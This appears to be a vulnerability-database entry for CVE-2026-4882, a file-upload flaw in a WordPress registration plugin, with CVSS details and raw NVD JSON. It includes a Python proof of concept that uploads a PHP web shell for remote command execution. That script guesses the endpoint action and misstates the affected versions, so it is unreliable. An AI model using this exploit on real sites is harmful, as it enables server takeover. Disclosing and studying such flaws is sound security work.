Security Vulnerability Report
中文
CVE-2026-4882 CVSS 9.8 CRITICAL

CVE-2026-4882

Published: 2026-05-02 05:16:01
Last Modified: 2026-05-05 19:17:23

Description

The User Registration Advanced Fields plugin for WordPress is vulnerable to arbitrary file uploads due to missing file type validation in the 'URAF_AJAX::method_upload' function in all versions up to, and including, 1.6.20. This makes it possible for unauthenticated attackers to upload arbitrary files on the affected site's server which may make remote code execution possible. Note: The vulnerability can only be exploited if a "Profile Picture" field is added to the form.

CVSS Details

CVSS Score
9.8
Severity
CRITICAL
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

No configuration data available.

User Registration Advanced Fields <= 1.6.20

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests # Exploit Title: User Registration Advanced Fields < 1.6.20 - Unauthenticated Arbitrary File Upload (RCE) # Date: 2026-05-02 # Vulnerable Endpoint: /wp-admin/admin-ajax.php target_url = "http://target-site.com/wp-admin/admin-ajax.php" # The action parameter usually maps to the AJAX function name or a registered hook # Based on the function name URAF_AJAX::method_upload, the action might be 'uraf_upload_file' or similar. payload_data = { 'action': 'uraf_upload_file', # Other required fields based on form structure might be needed } # Malicious PHP file to upload files = { 'file': ('shell.php', '<?php system($_GET["cmd"]); ?>', 'application/octet-stream') } response = requests.post(target_url, data=payload_data, files=files) if response.status_code == 200: print("[+] File uploaded successfully!") # Check response for upload path or filename print("[+] Response:", response.text) print("[+] Access your shell at: http://target-site.com/wp-content/uploads/[year]/month/shell.php?cmd=whoami") else: print("[-] Upload failed.")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-4882", "sourceIdentifier": "[email protected]", "published": "2026-05-02T05:16:00.933", "lastModified": "2026-05-05T19:17:22.860", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The User Registration Advanced Fields plugin for WordPress is vulnerable to arbitrary file uploads due to missing file type validation in the 'URAF_AJAX::method_upload' function in all versions up to, and including, 1.6.20. This makes it possible for unauthenticated attackers to upload arbitrary files on the affected site's server which may make remote code execution possible. Note: The vulnerability can only be exploited if a \"Profile Picture\" field is added to the form."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 9.8, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-434"}]}], "references": [{"url": "https://wpuserregistration.com/features/advanced-fields/", "source": "[email protected]"}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/f2c6a377-216f-4d61-8fae-ec5bc2793cdf?source=cve", "source": "[email protected]"}]}}